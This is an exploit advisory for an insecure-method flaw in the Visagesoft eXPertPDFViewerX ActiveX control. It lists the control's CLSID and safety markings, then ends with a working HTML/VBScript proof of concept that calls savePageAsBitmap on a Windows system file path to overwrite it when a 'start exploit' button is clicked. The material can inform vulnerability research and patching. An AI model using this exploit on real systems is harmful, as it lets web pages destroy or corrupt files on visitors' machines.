visagesoft-overwrite.txt

` VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD  
SITE: http://www.visagesoft.com  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
Author: Marco Torti  
mail: marcotorti2[at]yahoo[dot]com  
thanks UGIS  
################################################################################  
FileVersion: 3.0.990.0  
CLSID: {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A}  
Description: Visagesoft PDF Viewer Control  
ProgID: VSPDFEditorX.VSPDFEdit  
  
Marked as:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data  
  
Vulnerable method:  
savePageAsBitmap(ByVal bitmapFileName As String) As Boolean  
##################################################################################  
Vulnerability Description:  
The "savePageAsBitmap" method doesn't check user supplied arguments so we  
can save/overwrite a specified file passed as argument, i don't have time, check others functions....  
Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7  
###################################################################################  
<object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object>  
<input language=VBScript onclick=launch() type=button value='start exploit'>  
<script language='vbscript'>  
Sub launch  
target.savePageAsBitmap "c:\windows\-system.ini"  
MsgBox"Exploit Completed.. file overwrite!"  
End Sub  
</script>  
###################################################################################  
  
`